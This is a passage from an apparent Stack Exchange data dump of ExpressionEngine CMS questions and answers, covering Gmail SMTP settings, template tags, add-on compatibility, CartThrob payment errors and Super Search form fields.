apps.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 2: Configure ExpressionEngine&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In your config.php file, copy over these config items and modify the username and password. Note that the username &lt;em&gt;must&lt;/em&gt; be the full email address, and the value for &lt;code&gt;$config['email_newline']&lt;/code&gt; &lt;em&gt;must&lt;/em&gt; be enclosed in double quotes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['mail_protocol'] = 'smtp';&#xA;$config['email_newline'] = &quot;\r\n&quot;;&#xA;$config['email_smtp_crypto'] = 'ssl';&#xA;$config['smtp_server'] = 'smtp.gmail.com';&#xA;$config['smtp_port'] = '465';&#xA;$config['smtp_username'] = 'username@gmail.com';&#xA;$config['smtp_password'] = 'xxxxxxxxx';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has been tested thoroughly in ExpressionEngine 2.10.1, though given the availability of &lt;a href=&quot;http://ee2docs.com/general/system_configuration_overrides.html&quot; rel=&quot;noreferrer&quot;&gt;config overrides&lt;/a&gt;, it should work with EE 2.6+. For older versions, just omit the line for &lt;code&gt;$config['email_smtp_crypto']&lt;/code&gt; and use &lt;code&gt;ssl://smtp.gmail.com&lt;/code&gt; as the value for &lt;code&gt;$config['smtp_server']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 3: Test&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Make sure it works before you push these changes live. I haven't tested in all possible network configurations or with all possible EE versions. If you find a scenario that requires something different, drop it in the comments.&lt;/p&gt;&#xA;" OwnerUserId="6492" LastActivityDate="2015-11-12T22:48:45.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34720" PostTypeId="2" ParentId="34707" CreationDate="2015-11-12T23:13:05.133" Score="2" Body="&lt;p&gt;The variable which returns the total amount of entries is &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/channel/channel_entries.html#absolute-results&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{absolute_results}&lt;/code&gt;&lt;/a&gt;, not &lt;code&gt;{absolute_count}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;people&quot; search:people_alpha=&quot;={segment_3}&quot;}&#xA;    {if count == 1}&#xA;    &amp;lt;h3&amp;gt;{absolute_results}&amp;lt;/h3&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-11-14T10:47:54.393" LastActivityDate="2015-11-14T10:47:54.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34721" PostTypeId="1" AcceptedAnswerId="34723" CreationDate="2015-11-13T01:19:37.200" Score="1" ViewCount="240" Body="&lt;p&gt;Searching in 3rd party add-ons, there do not seem to be many that work with Expression Engine 3. In fact, there are almost none that list as compatible. Can I use add-ons listed as compatible with EE 2 in EE 3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I not use EE 3 and instead use EE 2 if I need add-ons?&lt;/p&gt;&#xA;" OwnerUserId="6699" LastActivityDate="2015-11-13T05:32:37.350" Title="Will add-ons for EE2 work in EE3?" Tags="|add-on|addons|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34723" PostTypeId="2" ParentId="34721" CreationDate="2015-11-13T05:32:37.350" Score="2" Body="&lt;p&gt;EE2 add-on's are NOT compatible with EE3. Add-on authors are making the transition, but depending on the complexity of the add-on and the availability of the developer, some will take time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can view a list of the current add-ons that are EE3 ready here... &lt;a href=&quot;https://devot-ee.com/add-ons/filter?&amp;amp;f=ee3&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/filter?&amp;amp;f=ee3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is a semi-comprehensive list of other add-ons intentions...&#xA;&lt;a href=&quot;https://ellislab.com/blog/entry/expressionengine-3-add-on-developer-update-status&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/blog/entry/expressionengine-3-add-on-developer-update-status&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2015-11-13T05:32:37.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34724" PostTypeId="1" CreationDate="2015-11-13T10:42:14.787" Score="0" ViewCount="61" Body="&lt;p&gt;On returning from a successful transaction on SagePay (server), I am getting the following error: Security Signature is not valid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cartthrob&gt;payment_gateways&gt;cartthrob_sage_s.php&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the check against the VPSSignature is intermittently throwing an error.  This is because the md5 hash needs to include the SecurityKey (given by SagePay) but Cartthrob is losing this somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although the sage_key is being saved successfully in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cartthrob_payments.php -&gt; save_cart_snapshot&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on occasions this item from $this-&gt;EE-&gt;cartthrob-&gt;cart_array() is no longer available and therefore the md5 hash created for verification is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strangely, most of the other data in &lt;strong&gt;$this-&gt;EE-&gt;cartthrob-&gt;cart_array()&lt;/strong&gt; are available. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;cartthrob&gt;payment_gateways&gt;cartthrob_sage_s.php extload($post)&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;where is it getting &lt;strong&gt;$this-&gt;order&lt;/strong&gt; from?  It is at this point that the sage_key has already got lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried setting the Website Session Type to &quot;Cookies and Session ID&quot; and also to &quot;Session Only&quot;.  The problem remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea why the sage_key in the cart array is being lost?&lt;/p&gt;&#xA;" OwnerUserId="1570" LastEditorUserId="1570" LastEditDate="2015-11-13T10:50:26.940" LastActivityDate="2015-11-13T10:50:26.940" Title="Cartthrob 2.7 SagePay failing with Security Signature is not valid" Tags="|cartthrob|sagepay|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34727" PostTypeId="1" CreationDate="2015-11-13T14:14:29.547" Score="0" ViewCount="316" Body="&lt;p&gt;I building a super simple site on EE 3.0.3. and am having a seemingly weird issue where my embeds are not loading. I'm sure it something simple but I'm not able to see what is going wrong. The live site is at &lt;a href=&quot;http://vanessareynoldsmd.com&quot; rel=&quot;nofollow&quot;&gt;http://vanessareynoldsmd.com&lt;/a&gt; and here's the code for the index page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/header&quot;}&#xA;&#xA;  &amp;lt;header class=&quot;book-page&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;     &amp;lt;h1&amp;gt;An Apple A Day - 100 Quick Devotionals When Pressed for Tim&amp;lt;/h1&amp;gt;&#xA;&#xA;     &amp;lt;p class=&quot;tagline-1&quot;&amp;gt;Five inspiring testimonials&amp;lt;/p&amp;gt;&#xA;     &amp;lt;p class=&quot;tagline-2&quot;&amp;gt;100 Daily Devotions&amp;lt;/p&amp;gt;&#xA;     &amp;lt;p class=&quot;tagline-3&quot;&amp;gt;A daily dose of spiritual nutrition&amp;lt;/p&amp;gt;&#xA;     &amp;lt;p class=&quot;tagline-4&quot;&amp;gt;A new book written by&amp;lt;br /&amp;gt; &amp;lt;em&amp;gt; Vanessa Reynolds M.D.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;     &amp;lt;h3 class=&quot;button-wrapper&quot;&amp;gt;&#xA;       &amp;lt;a class=&quot;buy-button paperback&quot; href=&quot;http://rads.stackoverflow.com/amzn/click/1501073362&quot;&amp;gt;Buy The Paperback&amp;lt;/a&amp;gt;&#xA;       &amp;lt;a class=&quot;buy-button ebook&quot; href=&quot;http://rads.stackoverflow.com/amzn/click/B00QJ9VBCM&quot;&amp;gt;Buy The eBook&amp;lt;/a&amp;gt;&#xA;     &amp;lt;/h3&amp;gt;&#xA;&#xA;     &amp;lt;img src=&quot;/assets/media/logo-book.png&quot; class=&quot;book&quot; title=&quot;An Apple A Day book cover&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/header&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&#xA;    &amp;lt;section class=&quot;description&quot;&amp;gt;&#xA;      &amp;lt;h2 class=&quot;section_title&quot;&amp;gt;Thought of the Week&amp;lt;/h2&amp;gt;&#xA;&#xA;      {exp:channel:entries channel=&quot;articles&quot; limit=&quot;1&quot;}&#xA;      {article_excerpt}&#xA;&#xA;      &amp;lt;p class=&quot;aricle-date&quot;&amp;gt;&amp;lt;a class=&quot;btn btn-continue pull-right&quot; href=&quot;{url_title_path=&quot;articles/read&quot;}&quot; role=&quot;button&quot;&amp;gt;Continue Reading&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;      {/exp:channel:entries}&#xA;&#xA;      {exp:channel:entries channel=&quot;general_pages&quot; limit=&quot;1&quot;}&#xA;      {speaking_engangment}&#xA;      &amp;lt;h2 class=&quot;section_title top_gap&quot;&amp;gt;Next Speaking Appearance&amp;lt;/h2&amp;gt;&#xA;      &amp;lt;h4 class=&quot;speaking-name&quot;&amp;gt;{speaking_engangment:location_name}&amp;lt;/h4&amp;gt;&#xA;      &amp;lt;h4 class=&quot;speaking-address&quot;&amp;gt;{speaking_engangment:location_address}&amp;lt;/h4&amp;gt;&#xA;      &amp;lt;h4 class=&quot;speaking-date&quot;&amp;gt;{speaking_engangment:date_time}&amp;lt;/h4&amp;gt;&#xA;      {/speaking_engangment}&#xA;      {/exp:channel:entries}&#xA;    &amp;lt;/section&amp;gt;&#xA;&#xA;    {embed=&quot;includes/newsletter&quot; color=&quot;sidebar-dark&quot;}&#xA;&#xA;{embed=&quot;includes/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here's the header&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&#xA;  &amp;lt;title&amp;gt;{if embed:title}{embed:title} /{/if} Vanessa Reynolds, MD&amp;lt;/title&amp;gt;&#xA;&#xA;  &amp;lt;!-- Meta Tags --&amp;gt;&#xA;  &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;  &amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge,chrome=1&quot;&amp;gt;&#xA;  &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;&#xA;  &amp;lt;meta name=&quot;description&quot; content=&quot;Just as an apple a day provides the nutrition your body needs, this uplifting daily devotional works to inspire spiritual growth as you reflect on bite-size doses of Christian wisdom and apply the important lessons within to your own life.&quot;&amp;gt;&#xA;&#xA;  &amp;lt;!-- Favicon --&amp;gt;&#xA;  &amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;/assets/media/favicon.ico&quot; /&amp;gt;&#xA;&#xA;  &amp;lt;!-- CSS --&amp;gt;&#xA;  &amp;lt;link href=&quot;/assets/styles/build/base.css&quot; media=&quot;screen&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;  &amp;lt;nav class=&quot;navbar navbar-default navbar-fixed-top&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;!-- Brand and toggle get grouped for better mobile display --&amp;gt;&#xA;    &amp;lt;div class=&quot;navbar-header&quot;&amp;gt;&#xA;      &amp;lt;button type=&quot;button&quot; class=&quot;navbar-toggle collapsed&quot; data-toggle=&quot;collapse&quot; data-target=&quot;#bs-example-navbar-collapse-1&quot; aria-expanded=&quot;false&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;sr-only&quot;&amp;gt;Toggle navigation&amp;lt;/span&amp;gt;&#xA;        MENU&#xA;      &amp;lt;/button&amp;gt;&#xA;      &amp;lt;a class=&quot;navbar-brand&quot; href=&quot;/&quot;&amp;gt;Vanessa Reynolds, MD&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;!-- Collect the nav links, forms, and other content for toggling --&amp;gt;&#xA;    &amp;lt;div class=&quot;collapse navbar-collapse&quot; id=&quot;bs-example-navbar-collapse-1&quot;&amp;gt;&#xA;      &amp;lt;ul class=&quot;nav navbar-nav navbar-right&quot;&amp;gt;&#xA;        &amp;lt;li {if &quot;{segment_1}&quot; == &quot;about&quot;} class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{path=&quot;about&quot;}&quot;&amp;gt;About&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li {if &quot;{segment_1}&quot; == &quot;articles&quot;} class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{path=&quot;articles&quot;}&quot;&amp;gt;Articles&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li {if &quot;{segment_1}&quot; == &quot;book&quot;} class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{path=&quot;books&quot;}&quot;&amp;gt;The Book&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li {if &quot;{segment_1}&quot; == &quot;messages&quot;} class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{path=&quot;messages&quot;}&quot;&amp;gt;Messages&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;li {if &quot;{segment_1}&quot; == &quot;contact&quot;} class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{path=&quot;contact&quot;}&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- /.navbar-collapse --&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- /.container-fluid --&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't seem to locate what I'm missing that would cause these not load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-11-13T20:07:56.807" LastActivityDate="2015-11-24T07:55:10.357" Title="Embeds not working" Tags="|embeds|ee3|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34729" PostTypeId="1" CreationDate="2015-11-13T15:34:52.000" Score="1" ViewCount="56" Body="&lt;p&gt;When using Cartthrob's Order Manager Customer Report's export to CSV, the export csv file only lists 101 customers, rather than the 920 listed on the Module's web version of the report.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to export the entire list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cartthrob 2.70, Cartthrob Order Manager 2.61, EE 2.10.1&lt;/p&gt;&#xA;" OwnerUserId="6845" LastEditorUserId="6845" LastEditDate="2015-11-13T15:43:53.393" LastActivityDate="2015-11-13T15:43:53.393" Title="Cartthrob Order Manager Customer export to csv not exporting all customers in report" Tags="|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34732" PostTypeId="1" CreationDate="2015-11-14T02:49:03.737" Score="0" ViewCount="31" Body="&lt;p&gt;With Solspace Super Search the manual says to use name='title&quot; to search the title field. The issue is the results URL simply favors and outputs only the second select statement so &lt;code&gt;title=whatevervalue&lt;/code&gt; whereas you want &lt;code&gt;title=whatevervalue&amp;amp;title=anothervalue&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you deal with searching for two title fields from two different channels?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help on this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select channel=&quot;workplace&quot; name=&quot;title&quot; class=&quot;Textbox4&quot; &amp;gt;&#xA;                    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/option&amp;gt;&#xA;                    {exp:channel:entries channel=&quot;workplace&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot;}&#xA;                    &amp;lt;option value=&quot;{url_title}&quot;  &amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;                    {/exp:channel:entries}&#xA;                &amp;lt;/select&amp;gt;&#xA;&#xA;                    {exp:channel:entries channel=&quot;places&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot; category=&quot;1&quot;}&#xA;&amp;lt;option value=&quot;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value=&quot;{url_title}&quot; &amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;                    {/exp:channel:entries}&#xA;                    &amp;lt;/select&amp;gt;&#xA;{/exp:super_search:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2015-11-15T09:44:16.900" Title="Searching two title fields with Select fields form with Solspace Super Search" Tags="|ee2|solspace|supersearch|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34735" PostTypeId="2" ParentId="34727" CreationDate="2015-11-14T17:22:13.893" Score="0" Body="&lt;p&gt;I knew it had to be something simple. It was a permission issue. For some reason none of the member groups were checked. Once I allowed all the member groups things were working as expected.  &lt;a href=&quot;https://i.stack.imgur.com/lyHAS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lyHAS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-11-14T17:22:13.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34736" PostTypeId="2" ParentId="34732" CreationDate="2015-11-15T09:44:16.900" Score="1" Body="&lt;p&gt;Try adding &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; after your field values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&quot;{title}&amp;amp;&amp;amp;&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Super Search, this can be used to make &quot;AND&quot; searches (eg. title A &lt;em&gt;AND&lt;/em&gt; B)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you want to search more than one title at once, you need your field to allow an &lt;em&gt;array&lt;/em&gt; of data. You can do this with a select field that accepts multiple values or with checkboxes. Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;title[]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Notice the brackets &lt;code&gt;[]&lt;/code&gt; next to &lt;code&gt;title&lt;/code&gt;: this is needed to send an &lt;em&gt;array&lt;/em&gt; of data instead of a &lt;em&gt;string&lt;/em&gt; of data. That's just how HTML forms work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note 2&lt;/strong&gt;: In your select field, you have the other following issues:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;channel=&quot;&quot;&lt;/code&gt; is not a valid attribute for select fields in HTML.&lt;/li&gt;&#xA;&lt;li&gt;If you're searching in &lt;em&gt;titles&lt;/em&gt;, you need to use &lt;code&gt;value=&quot;{title}&quot;&lt;/code&gt; and not &lt;code&gt;value=&quot;{url_title}&quot;&lt;/code&gt;. If you're searching for a &lt;em&gt;url_title&lt;/em&gt; instead, &lt;code&gt;value=&quot;{url_title}&quot;&lt;/code&gt; would be used.&lt;/li&gt;&#xA;&lt;li&gt;You're missing an opening &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; tag before your second &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair, if you need two select fields (if you need one select field, you have a closing &lt;code&gt;&amp;lt;/select&amp;gt;&lt;/code&gt; field too many.&lt;/li&gt;&#xA;&lt;li&gt;You have a leftover closing &lt;code&gt;{/exp:super_search:search}&lt;/code&gt; tag in your code. You should remove that (btw, &lt;code&gt;{exp:super_search:search}&lt;/code&gt; is often not needed in Super Search search forms)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-11-15T09:44:16.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34738" PostTypeId="1" CreationDate="2015-11-15T20:59:22.760" Score="0" ViewCount="69" Body="&lt;p&gt;I have a timetable of agenda times in a channel called &quot;agenda&quot; with a relationship to &quot;events&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to control which agenda times show using the URL, but no events show up. In &quot;agenda&quot; you pick 1 &quot;event&quot; to be related with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want only the agenda items from &quot;my-event&quot; if it is the 3rd segment to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help pointing me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries channel=&quot;agenda&quot; orderby=&quot;date&quot; sort=&quot;asc&quot;   } &#xA;&#xA;{if agenda_event:url_title == segment_3}&#xA;&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;{agenda_start format=&quot;%g:%i&quot;}&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;{agenda_speakers}&amp;lt;a href=&quot;{path='speakers/bio/{agenda_speakers:url_title}'}&quot;&amp;gt;{if agenda_speakers:speaker_intro != &quot;&quot;}{agenda_speakers:speaker_intro}{/if} {agenda_speakers:speaker_first_name} {agenda_speakers:speaker_last_name}{if agenda_speakers:speaker_outro != &quot;&quot;},{agenda_speakers:speaker_outro}{/if}&amp;lt;/a&amp;gt;{/agenda_speakers}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/if}&#xA;&#xA;&#xA;&#xA;      {/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2015-11-15T20:59:22.760" Title="Showing entries based on URl segment and relationship" Tags="|ee2|channel-entries|relationships|url|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34739" PostTypeId="1" CreationDate="2015-11-16T11:03:27.327" Score="0" ViewCount="40" Body="&lt;p&gt;The search_in variable doesn't seem to be searching both fields in this select statement. So only results from the primary location are being returned I believed. I checked the entries and they do use the secondary field. The second field is a relationship, is that the issue? Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;work_office[]&quot;  name=&quot;search_in&quot; value=&quot;work_office|work_office_2&quot; class=&quot;Textbox4&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/option&amp;gt;&#xA;                {exp:channel:entries channel=&quot;offices&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; dynamic=&quot;no&quot; category=&quot;1&quot; }&#xA;&#xA;&#xA;                    &amp;lt;option value=&quot;{title}&amp;amp;&amp;amp;&quot;&quot; &amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;                {/exp:channel:entries}&#xA;                &amp;lt;/select&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2015-11-17T00:55:04.030" Title="Solspace Super Search search_in not searching secondary fields" Tags="|ee2|solspace|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34740" PostTypeId="1" CreationDate="2015-11-16T12:44:32.863" Score="0" ViewCount="63" Body="&lt;p&gt;We're having a few strange problems where by .doc and .pdf files are failing to upload via freeform forms, yet this seems an intermittent issue with tests using the same file. I've noticed this issue can be resolved by disabling XSS clean in the file upload field preferences but would like to know what are the implications of Disabling XSS clean? And if this would create a vulnerability and open our site up to an attack?&lt;/p&gt;&#xA;" OwnerUserId="2704" LastActivityDate="2015-11-16T12:44:32.863" Title="What are the implications of Disabling XSS clean?" Tags="|solspace-freeform|xss|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34742" PostTypeId="1" AcceptedAnswerId="34743" CreationDate="2015-11-16T17:38:56.520" Score="0" ViewCount="35" Body="&lt;p&gt;This sorts the items correctly but I am failing to pre-select the option they selected using a conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;orderby_sort&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Sort by&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;store:price|asc&quot;{if low_search_store:orderby_sort == &quot;store:price|asc&quot;} selected{/if}&amp;gt;Price (low-high)&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;store:price|desc&quot;{if low_search_store:orderby_sort == &quot;store:price|desc&quot;} selected{/if}&amp;gt;Price (high-low)&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastActivityDate="2015-11-16T17:55:34.320" Title="select orderby_sort option for sorting by store price" Tags="|expresso-store|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34743" PostTypeId="2" ParentId="34742" CreationDate="2015-11-16T17:55:34.320" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#params&quot; rel=&quot;nofollow&quot;&gt;rule&lt;/a&gt; is &lt;code&gt;name=&quot;foo&quot; value=&quot;bar&quot;&lt;/code&gt; =&gt; &lt;code&gt;{low_search_foo} // bar&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So try &lt;code&gt;{if low_search_orderby_sort == &quot;store:price|asc&quot;}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-11-16T17:55:34.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34744" PostTypeId="1" CreationDate="2015-11-16T19:46:21.690" Score="0" ViewCount="60" Body="&lt;p&gt;I have looked through the hooks and cannot figure out which hook could provide a way to alter a form in the control panel (e.g. the create/edit member form or publish/edit entry form). I don't want to use the CSS/JS hooks because that's altering it client-side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to either:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Grab the output prior to it being sent to the client&lt;/li&gt;&#xA;&lt;li&gt;(even better) Get the objects used to create those forms and alter them?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I also want my extension to be able to be called on every control panel page.&lt;/p&gt;&#xA;" OwnerUserId="6699" LastEditorUserId="6699" LastEditDate="2015-11-16T20:19:02.337" LastActivityDate="2015-11-17T11:31:26.600" Title="What's the proper way to alter a form in the control panel? (Using an extension in EE3)" Tags="|control-panel|add-on-development|extension|ee3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34747" PostTypeId="1" CreationDate="2015-11-16T22:23:22.757" Score="0" ViewCount="41" Body="&lt;p&gt;How do you force the &quot;orderby=&quot; parameter to use a custom field like &quot;alphabet&quot; as the lead in Super Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using it +asc doesn't work, nor does using it alone. It still prioritizes the results by entry date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've tried a few variations to make sure we were using it line with the documentation, but &lt;code&gt;orderby=&quot;title+workers-name+asc&quot;&lt;/code&gt; whereas workers-name was the custom field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code Sample:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:search channel=&quot;workplace&quot; orderby=&quot;title+workers_lname+asc&quot;}&#xA;&amp;lt;form action=&quot;{path='workplace/search-results'}&quot; method=&quot;post&quot; id=&quot;search_form&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; 